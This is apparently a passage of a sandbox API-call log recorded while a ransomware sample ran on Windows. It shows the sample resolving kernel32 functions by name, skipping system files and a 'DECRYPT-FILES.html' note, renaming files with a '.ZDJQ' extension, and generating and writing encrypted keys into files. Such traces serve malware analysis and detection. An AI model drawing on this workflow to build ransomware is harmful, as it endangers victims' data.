returned="ConvertSystemTimeToCalDateTime" [0120.700] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0120.700] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0120.700] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0120.700] lstrlenA (lpString="COPYCONTEXT") returned 11 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0120.700] lstrlenA (lpString="COPYFILE2") returned 9 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0120.700] lstrlenA (lpString="COPYFILEA") returned 9 [0120.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0120.701] lstrlenA (lpString="COPYFILEEXA") returned 11 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0120.701] lstrlenA (lpString="COPYFILEEXW") returned 11 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0120.701] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0120.701] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0120.701] lstrlenA (lpString="COPYFILEW") returned 9 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0120.701] lstrlenA (lpString="COPYLZFILE") returned 10 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0120.701] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0120.701] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0120.701] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0120.701] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0120.701] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0120.701] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0120.701] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0120.701] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0120.701] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0120.701] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0120.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0120.702] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0120.702] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0120.702] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0120.702] lstrlenA (lpString="CREATEEVENTA") returned 12 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0120.702] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0120.702] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0120.702] lstrlenA (lpString="CREATEEVENTW") returned 12 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0120.702] lstrlenA (lpString="CREATEFIBER") returned 11 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0120.702] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0120.702] lstrlenA (lpString="CREATEFILE2") returned 11 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0120.702] lstrlenA (lpString="CREATEFILEA") returned 11 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0120.702] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0120.702] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0120.702] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0120.702] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0120.702] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0120.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0120.703] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0120.703] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0120.703] lstrlenA (lpString="CREATEFILEW") returned 11 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0120.703] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0120.703] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0120.703] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0120.703] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0120.703] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0120.703] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0120.703] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0120.703] lstrlenA (lpString="CREATEJOBSET") returned 12 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0120.703] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0120.703] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0120.703] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0120.703] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0120.703] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0120.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0120.704] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0120.704] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0120.704] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0120.704] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0120.704] lstrlenA (lpString="CREATEPIPE") returned 10 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0120.704] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0120.704] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0120.704] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0120.704] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0120.704] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0120.704] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0120.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0120.704] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0120.705] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0120.705] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0120.705] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0120.705] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0120.705] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0120.705] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0120.705] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0120.705] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0120.705] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0120.705] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0120.705] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0120.705] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0120.705] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0120.705] lstrlenA (lpString="CREATETHREAD") returned 12 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0120.705] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0120.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0120.705] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0120.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0120.706] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0120.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0120.706] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0120.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0120.706] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0120.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0120.706] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0120.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0120.706] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0120.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0120.706] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\eula.rtf.ZDJQ") returned 40 [0120.706] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.ZDJQ" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.zdjq"), dwFlags=0x0) returned 1 [0120.707] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.708] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.708] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.708] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0120.708] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0120.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\") returned 27 [0120.709] lstrlenW (lpString="LocalizedData.xml") returned 17 [0120.709] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1033\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0120.709] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" [0120.709] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0120.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0120.710] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=77232) returned 1 [0120.710] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0120.710] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0120.861] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0120.861] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0120.861] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0120.862] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0120.862] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0121.084] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.085] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0121.085] CloseHandle (hObject=0x5f8) returned 1 [0121.085] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.085] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0121.086] CloseHandle (hObject=0x0) returned 0 [0121.086] CloseHandle (hObject=0x5f4) returned 1 [0121.088] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.088] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.088] GetTickCount () returned 0x33b26 [0121.088] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.089] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0121.089] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0121.089] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.089] lstrlenA (lpString="kernel32.dll") returned 12 [0121.089] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0121.089] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0121.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0121.089] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0121.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0121.089] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0121.089] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0121.090] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0121.090] lstrlenA (lpString="ADDATOMA") returned 8 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0121.090] lstrlenA (lpString="ADDATOMW") returned 8 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0121.090] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0121.090] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0121.090] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0121.090] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0121.090] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0121.090] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0121.090] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0121.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0121.090] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 